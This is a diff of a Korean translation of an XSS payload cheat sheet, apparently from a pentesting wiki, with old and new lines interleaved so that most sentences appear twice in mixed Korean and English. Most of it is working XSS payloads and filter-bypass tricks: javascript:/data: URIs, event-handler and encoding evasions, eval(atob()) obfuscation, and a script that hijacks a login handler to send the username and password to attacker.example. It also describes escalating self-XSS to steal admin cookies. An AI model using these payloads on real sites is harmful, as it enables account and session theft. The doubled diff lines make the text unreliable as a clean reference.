여기서 일부 위치에서는 프로토콜 **`javascript:`** 또는 **`data:`**를 사용하여 **임의의 JS 코드를 실행**할 수 있습니다. 일부는 사용자 상호작용을 요구하고, 일부는 요구하지 않습니다.
해당 속성에서는 일부 위치에서 프로토콜 **`javascript:`** 또는 **`data:`** 를 사용해 **임의의 JS 코드를 실행**할 수 있습니다. 일부는 사용자 상호작용을 요구하고, 일부는 요구하지 않습니다.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -330,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
**프로토콜을 주입할 수 있는 위치**
**이러한 프로토콜을 주입할 수 있는 위치**
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그에서 사용될 수 있습니다** 그리고 **대부분**의 태그들 중 **`src` 속성**을 허용하는 태그에서도 사용될 수 있습니다 (but not `<img`)
**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그에서 사용할 수 있으며** 그리고 **대부분의** **`src` 속성을** 허용하는 태그에서도 사용 가능합니다 (단 `<img>`는 제외)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -352,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**기타 난독화 기법**
**Other obfuscation tricks**
_**이 경우 이전 섹션의 HTML encoding 및 Unicode encoding 트릭도 속성 내부에 있기 때문에 유효합니다.**_
_**이 경우 HTML encoding과 Unicode encoding 트릭은 이전 섹션에서 설명한 것처럼 attribute 내부에 있기 때문에 역시 유효합니다.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
게다가 이러한 경우에 사용할 수 있는 또 다른 **nice trick**이 있습니다: **입력이 `javascript:...` 안에 있고 `URL encoded`되더라도, 실행되기 전에 `URL decoded`됩니다.** 따라서 **escape**를 이용해 **string**에서 **single quote**로 탈출해야 하는데 그것이 **it's being URL encoded**되는 것을 보더라도 **it doesn't matter,** 실행 시에는 **single quote**로 **interpreted**된다는 것을 기억하세요.
또한, 이러한 경우에 사용할 수 있는 또 다른 **유용한 요령**이 있다: **비록 `javascript:...` 안의 입력이 URL encoded 되어 있더라도, 실행되기 전에 URL decoded 된다.** 따라서, **single quote**을 사용해 **string**에서 **escape**해야 하고, 그것이 **URL encoded** 되고 있는 것을 본다면, **상관없다**, 그것은 **execution** 시간에 **single quote**로 **interpreted** 된다.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
참고: `URLencode + HTMLencode`를 어떤 순서로든 **두 가지 모두 사용**하여 **payload**를 인코딩하려고 하면 **작동하지** **않습니다**, 하지만 **payload 내부에서 혼합해서 사용할 수 있습니다**.
참고: 어떤 순서로든 `URLencode + HTMLencode`**둘 다 사용**하여 **payload**를 인코딩하려고 하면 **작동하지** **않습니다**, 하지만 **payload 내부에서 혼합할 수 있습니다**.
**`javascript:`와 함께 Hex 및 Octal encode 사용**
**Hex 및 Octal encode를 `javascript:`와 함께 사용**
`iframe``src` 속성(적어도) 안에서 **Hex** 및 **Octal encode**를 사용하여 **HTML tags to execute JS**를 선언할 수 있습니다:
적어도 `iframe``src` 속성 내부에서 **Hex** 및 **Octal encode**를 사용해 **HTML tags to execute JS**를 선언할 수 있습니다:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -384,7 +385,8 @@ _**이 경우 이전 섹션의 HTML encoding 및 Unicode encoding 트릭도 속
```javascript
<a target="_blank" rel="opener"
```
임의의 **`<a href=`** 태그에 **`target="_blank" and rel="opener"`** 속성을 포함하는 어떤 URL도 주입할 수 있다면, 이 동작을 악용하기 위해 다음 페이지를 확인하세요:
If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:
{{#ref}}
../reverse-tab-nabbing.md
@ -392,8 +394,8 @@ _**이 경우 이전 섹션의 HTML encoding 및 Unicode encoding 트릭도 속
### on 이벤트 핸들러 우회
우선 이 페이지 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))에서 유용한 **"on" 이벤트 핸들러**를 확인하세요.\
어떤 블랙리스트가 이러한 이벤트 핸들러 생성을 방해하는 경우 다음 우회 방법들을 시도해볼 수 있습니다:
먼저 이 페이지 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하여 유용한 **"on" 이벤트 핸들러**를 살펴보세요.\
만약 일부 블랙리스트 때문에 이러한 이벤트 핸들러를 생성하지 못한다면 다음 우회 방법들을 시도해볼 수 있습니다:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -408,14 +410,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### 'Unexploitable tags'의 XSS (hidden input, link, canonical, meta)
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **이제 hidden inputs를 악용할 수 있습니다:**
다음 [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **hidden inputs를 이제 다음과 같이 악용할 수 있습니다:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
그리고 **메타 태그**:
그리고 **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -429,15 +431,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
자세한 내용은 [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): 당신은 **victim**이 **key combination**을 누르도록 **persuade**할 수 있다면 **XSS payload inside a hidden attribute**를 실행할 수 있습니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. access key attribute에 다른 키를 지정하면 다른 키 조합을 사용할 수 있습니다. 공격 벡터는 다음과 같습니다:
출처: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): **XSS payload를 숨겨진 attribute 안에서** 실행할 수 있습니다. 단, **설득**해서 **victim**이 **key combination**을 누르도록 해야 합니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이고 OS X에서는 **CTRL+ALT+X**입니다. access key attribute에서 다른 키를 사용하면 다른 key combination을 지정할 수 있습니다. 벡터는 다음과 같습니다:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
**XSS 페이로드는 대략 다음과 같습니다: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
미 이 섹션에서 여러 가지 다른 인코딩을 이용한 트릭들이 소개되었습니다. 어디에서 다음을 사용할 수 있는지 다시 확인하세요:
섹션에서는 이미 다양한 인코딩을 사용한 트릭들이 소개되어 있습니다. 어디에서 사용할 수 있는지 **뒤로 가서 확인하세요:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -445,21 +447,21 @@ onbeforetoggle="alert(2)" />
- **Hex and Octal encoding**
- **data encoding**
**Bypasses for HTML tags and attributes**
**HTML 태그 및 속성 우회**
다음 항목을 읽어보세요: [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
이전 섹션의 [ Blacklist Bypasses of the previous section](#blacklist-bypasses)을 읽어보세요.
**Bypasses for JavaScript code**
**JavaScript 코드 우회**
다음 항목을 읽어보세요: [avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
다음 섹션의 JavaScript bypass blacklist를 읽어보세요: [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
웹의 아주 작은 부분에서 XSS를 발견했고 해당 부분이 어떤 상호작용(예: footer의 작은 링크에 onmouseover 요소가 있는 경우)을 요구한다면, 해당 요소가 차지하는 공간을 변경하여 링크가 실행될 확률을 최대화할 수 있습니다.
웹의 아주 작은 부분에서 **XSS**를 발견했고 해당 취약점이 상호작용을 필요로 한다면(예: footer의 작은 링크에 onmouseover 요소가 있는 경우), 링크가 실행될 확률을 높이기 위해 해당 요소가 차지하는 공간을 **변경해 볼 수 있습니다**.
예를 들어 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
그러나 WAF가 style attribute를 필터링하고 있다면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어 다음을 발견했다면
하지만 WAF가 style 속성을 필터링한다면 CSS Styling Gadgets를 사용할 수 있습니다. 예를 들어 다음을 찾았다면
> .test {display:block; color: blue; width: 100%\}
@ -467,27 +469,27 @@ onbeforetoggle="alert(2)" />
> \#someid {top: 0; font-family: Tahoma;}
이제 링크를 다음 형태로 변경할 수 있습니다
이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다
> \<a href="" id=someid class=test onclick=alert() a="">
이 트릭은 다음에서 발췌했습니다: [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
이 트릭은 다음 글에서 가져왔습니다: [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injecting inside JavaScript code
이 경우 당신의 입력은 `.js` 파일의 JS 코드 내부에 반영되거나 `<script>...</script>` 태그 사이, 또는 JS 코드를 실행할 수 있는 HTML 이벤트 내부나 `javascript:` 프로토콜을 허용하는 속성들 사이에 반영됩니다.
이 경우 사용자의 **input**은 `.js` 파일 내부의 JS 코드, `<script>...</script>` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 내부, 또는 `javascript:` 프로토콜을 허용하는 속성 안에 **반영(reflected)** 됩니다.
### Escaping \<script> tag
### \<script> 태그 탈출
만약 코드가 `<script> [...] var input = 'reflected data' [...] </script>` 와 같이 삽입된다면, `</script>` 태그를 쉽게 **종료하도록 이스케이프**할 수 있습니다:
만약 코드가 `<script> [...] var input = 'reflected data' [...] </script>` 내부에 삽입된다면, `</script>` 태그를 **닫아 탈출(escape)** 하는 것은 비교적 쉽습니다:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Note that in this example we **단일 인용부호(single quote)를 닫지조차 않았습니다**. 이는 **HTML parsing이 먼저 browser에 의해 수행되기 때문**으로, 여기에는 script 블록을 포함한 페이지 요소를 식별하는 작업이 포함됩니다. 임베디드 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에만 수행됩니다.
이 예제에서는 **작은 따옴표를 닫지조차 않았습니다**. 이는 **HTML 파싱이 브라우저에 의해 먼저 수행되기 때문**으로, 여기에는 스크립트 블록을 포함한 페이지 요소 식별이 포함됩니다. 내장된 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에야 수행됩니다.
### JS 코드 내부
만약 `<>`가 sanitised되고 있다면 입력이 **위치한 곳**에서 문자열을 여전히 **이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 **JS 문법을 고쳐야 합니다**:
`<>`가 정화되는 경우에도 입력이 **위치한** 곳에서 여전히 **문자열을 이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 **JS 문법을 수정하는 것**이 중요합니다:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -495,25 +497,25 @@ Note that in this example we **단일 인용부호(single quote)를 닫지조차
```
#### JS-in-JS string break → inject → repair pattern
사용자 입력이 따옴표로 묶인 JavaScript 문자열 내부에 들어갈 때(예: server-side echo로 inline script에 삽입되는 경우), 문자열을 종료하고 코드를 주입한 뒤 구문을 복구하여 파싱이 유효한 상태로 유지할 수 있습니다. 일반적인 골격:
사용자 입력이 따옴표로 감싸인 JavaScript 문자열 내부에 들어갈 때(예: 서버 측에서 inline script로 echo하는 경우), 문자열을 종료시키고 코드를 주입한 뒤 구문을 유효하게 유지하도록 복구할 수 있습니다. 일반적인 골격:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
취약한 매개변수가 JS 문자열로 반영될 때의 예시 URL 패턴:
취약한 파라미터가 JS string에 반영될 때의 예시 URL 패턴:
```
?param=test";<INJECTION>;a="
```
이는 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다(순수 JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요.
이는 HTML context를 건드리지 않고도 공격자 JS를 실행합니다 (pure JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요.
### 템플릿 리터럴 \`\`
### Template literals ``
작은따옴표와 큰따옴표 외에 JS는 **문자열**을 구성하기 위해 **백틱** **` `` `** 을 허용합니다. 이는 템플릿 리터럴로, `${ ... }` 구문을 사용해 **JS 표현식**을 삽입할 수 있게 합니다.\
따라서 입력값이 백틱을 사용하는 JS 문자열 내부에 **반영**된다면 `${ ... }` 구문을 악용해 **임의의 JS 코드**를 실행할 수 있습니다:
문자열을 구성할 때, 작은따옴표와 큰따옴표 외에도 JS는 **backticks** **` `` `** 를 허용합니다. 이것은 template literals라고 하며 `${ ... }` 문법을 사용해 **embedded JS expressions**를 포함할 수 있게 해줍니다.\
따라서 입력값이 백틱을 사용하는 JS 문자열 안에 **reflected** 되어 있다면, `${ ... }` 문법을 악용해 **arbitrary JS code**를 실행할 수 있습니다:
이는 다음과 같이 **악용**될 수 있습니다:
이는 다음과 같이 **abused** 수 있습니다:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -525,21 +527,21 @@ return loop
}
loop``
```
### 인코딩된 code execution
### Encoded code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### eval(atob())와 스코프 뉘앙스를 고려한 전달 페이로드
#### Deliverable payloads와 eval(atob()) 및 scope의 뉘앙스
URL을 더 짧게 유지하고 단순한 키워드 필터를 우회하려면, 실제 로직을 base64로 인코딩하고 `eval(atob('...'))`로 실행하면 됩니다. 단순한 키워드 필터가 `alert`, `eval`, 또는 `atob` 같은 식별자를 차단하면, 브라우저에서 동일하게 컴파일되지만 문자열 매칭 필터를 회피하는 유니코드 이스케이프된 식별자를 사용하세요:
URLs를 더 짧게 유지하고 단순한 키워드 필터를 우회하기 위해, 실제 로직을 base64로 인코딩하고 `eval(atob('...'))`로 평가할 수 있다. 단순 키워드 필터가 `alert`, `eval`, `atob` 같은 식별자를 차단하면, 브라우저에서 동일하게 컴파일되지만 문자열 매칭 필터를 회피하는 유니코드 이스케이프된 식별자를 사용하:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
중요한 스코프 관련 유의사항: `const`/`let``eval()` 내부에서 선언되면 블록 스코프이며 전역을 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때 전역적이며 재바인딩 불가능한 훅을 정의하려면 동적으로 주입된 `<script>` 요소를 사용하세요(예: to hijack a form handler):
중요한 스코프 관련 주의: `eval()` 내부에서 선언된 `const`/`let` 블록 스코프이며 전역을 생성하지 않습니다; 이후 스크립트에서 접근할 수 없습니다. 필요할 때 global, non-rebindable hooks를 정의하려면 동적으로 주입한 `<script>` 요소를 사용하세요 (e.g., to hijack a form handler):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -547,15 +549,15 @@ document.head.appendChild(s);
```
참고: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode 인코딩을 사용한 JS 실행
### Unicode 인코딩 JS 실행
```javascript
alert(1)
alert(1)
alert(1)
```
### JavaScript 우회 blacklist 기법
### JavaScript 블랙리스트 우회 기법
**Strings**
**문자열**
```javascript
"thisisastring"
'thisisastrig'
@ -586,12 +588,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**JS 코드 내 공백 대체**
**JS 코드 내의 공백 치환**
```javascript
<TAB>
/**/
```
**JavaScript comments ([**JavaScript Comments**](#javascript-comments) 트릭에서)**
**JavaScript comments (출처:** [**JavaScript Comments**](#javascript-comments) **트릭)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -599,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript 줄 바꿈 (출처** [**JavaScript new line**](#javascript-new-lines) **트릭)**
**JavaScript new lines (출처:** [**JavaScript new line**](#javascript-new-lines) **트릭)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -628,7 +630,7 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>
```
**Javascript 주석 내부에**
**주석 안의 Javascript**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -714,7 +716,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**임의 함수(alert) 호출**
**임의 함수 (alert) 호출**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -774,9 +776,9 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **DOM 취약점**
## **DOM vulnerabilities**
There is **JS code** that is using **공격자가 제어하는 안전하지 않은 데이터** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
**JS code**가 **공격자가 제어하는 데이터를 안전하지 않게 사용하는** 경우가 있다(예: `location.href`). 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있다.\
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
@ -784,14 +786,14 @@ There is **JS code** that is using **공격자가 제어하는 안전하지 않
dom-xss.md
{{#endref}}
There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
그곳에서 **DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명**을 찾을 수 있다.\
또한, **언급한 게시물의 끝부분에** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering)에 대한 설명이 있다는 것을 잊지 마라.
### Upgrading Self-XSS
### Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
페이로드를 쿠키 안에 넣어 보내서 XSS를 트리거할 수 있다면, 이는 보통 self-XSS이다. 그러나, **vulnerable subdomain to XSS**를 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하고 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 트리거할 수 있다. 이를 위해 cookie tossing attack을 사용할 수 있다:
{{#ref}}
@ -802,19 +804,19 @@ You can find a great abuse of this technique in [**this blog post**](https://nok
### Sending your session to the admin
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
사용자가 자신의 프로필을 관리자와 공유할 수 있고, self XSS가 해당 사용자의 프로필에 포함되어 있으며 관리자가 그 프로필에 접근하면, 관리자가 취약점을 트리거하게 된다.
### Session Mirroring
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
self XSS를 발견했고 웹페이지가 **session mirroring for administrators**를 제공하는 경우(예: 클라이언트가 도움을 요청하면 관리자가 당신의 세션에서 보는 내용을 자신의 세션에서 볼 수 있게 하는 기능), 관리자가 당신을 도와주려 접근하면 당신의 취약점이 트리거될 수 있다.
You could make the **administrator trigger your self XSS** and steal his cookies/session.
당신은 **administrator trigger your self XSS**를 유도하여 그의 cookies/session을 탈취할 수 있다.
## Other Bypasses
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
서버(또는 클라이언트 측)에서 **reflected values**가 **unicode normalized**되고 있는지 확인하고 이 기능을 악용해 보호를 우회할 수 있다. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -822,7 +824,7 @@ You could check is the **reflected values** are being **unicode normalized** in
```
### Ruby-On-Rails bypass
**RoR mass assignment** 때문에 따옴표가 HTML에 삽입되고, 따옴표 제한이 우회되어 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.\
**RoR mass assignment** 때문에 HTML에 따옴표가 삽입되어 따옴표 제한을 우회하고 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.\
폼 예시 ([from this report](https://hackerone.com/reports/709336)), 페이로드를 전송하면:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -831,9 +833,9 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
그런 다음 onfocus 속성이 삽입되 XSS가 발생합니다.
그런 다음 onfocus 속성이 삽입되 XSS가 발생합니다.
### 특수 조합
### Special combinations
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
@ -863,24 +865,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### 302 응답의 헤더 주입을 이용한 XSS
### XSS with header injection in a 302 response
If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. 이것은 **간단하지 않습니다**. 최신 브라우저는 HTTP 응답 상태 코드가 302일 때 HTTP 응답 본문을 해석하지 않기 때문에 단순한 cross-site scripting payload는 쓸모가 없습니다.
만약 **302 Redirect response**에서 헤더를 **inject**할 수 있다면, 브라우저가 임의의 JavaScript를 **실행하도록 시도**해볼 수 있습니다. 이는 **간단하지 않으며**, 현대 브라우저는 HTTP 응답 상태 코드가 302일 때 응답 본문을 해석하지 않기 때문에 단순한 cross-site scripting 페이로드는 무용지물입니다.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) 에서는 Location header 내부의 여러 프로토콜을 테스트하여 그 중 어떤 것이 브라우저가 본문 안의 XSS payload를 검사하고 실행하도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
[**this report**](https://www.gremwell.com/firefox-xss-302)와 [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서는 Location 헤더 안에 여러 프로토콜을 넣어 브라우저가 본문 안의 XSS 페이로드를 검사하고 실행할 수 있는지 테스트하는 방법을 설명합니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### 문자, 숫자 및 점만
### Only Letters, Numbers and Dots
If you are able to indicate the **callback** that javascript is going to **execute** limited to those chars. [**Read this section of this post**](#javascript-function) 에서 이 동작을 악용하는 방법을 확인하세요.
만약 javascript가 실행할 **callback**을 문자, 숫자, 점으로만 제한해서 지정할 수 있다면, 이 동작을 악용하는 방법을 알아보려면 [**이 글의 해당 섹션**](#javascript-function)을 읽어보세요.
### 유효한 `<script>` Content-Types 를 통한 XSS
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 만약 `application/octet-stream` 같은 **content-type**으로 스크립트를 로드하려 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chrome**loaded script**를 실행하도록 허용하는 유일한 **Content-Type**은 const **`kSupportedJavascriptTypes`** 안에 있는 항목들이며, 해당 const는 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 확인할 수 있습니다.
Chrome**loaded script**를 실행하도록 허용하는 유효한 유일한 **Content-Type**들은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에 있는 const **`kSupportedJavascriptTypes`** 안에 정의된 것들입니다.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -902,16 +904,16 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### XSS에 사용되는 스크립트 타입
### XSS용 Script 타입
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그렇다면 스크립트를 로드하도록 지정할 수 있는 타입은 어떤 것들이 있을까?
(출처: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 그렇다면 어떤 타입들이 script를 로드하도록 지정될 수 있을까?
```html
<script type="???"></script>
```
답은:
은:
- **module** (기본값, 설명할 필요 없음)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS… 여러 데이터를 하나의 **`.wbn`** 파일로 묶을 수 있는 기능입니다.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS… 같은 여러 데이터를 하나의 **`.wbn`** 파일로 묶을 수 있는 기능입니다.
```html
<script type="webbundle">
{
@ -921,7 +923,7 @@ const char* const kSupportedJavascriptTypes[] = {
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** import 구문을 개선할 수 있습니다
- [**importmap**](https://github.com/WICG/import-maps)**:** import 구문을 개선할 수 있게 해줍니다.
```html
<script type="importmap">
{
@ -938,9 +940,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
이 동작은 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하는 데 사용되었으며, 이를 악용하면 XSS를 유발할 수 있습니다.
이 동작은 [**this writeup**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 리맵하는 데 사용되었으며, 이를 악용하면 XSS를 유발할 수 있습니다.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리렌더링(pre-rendering)으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 사전 렌더링으로 인해 발생하는 일부 문제를 해결하기 위한 것입니다. 동작 방식은 다음과 같습니다:
```html
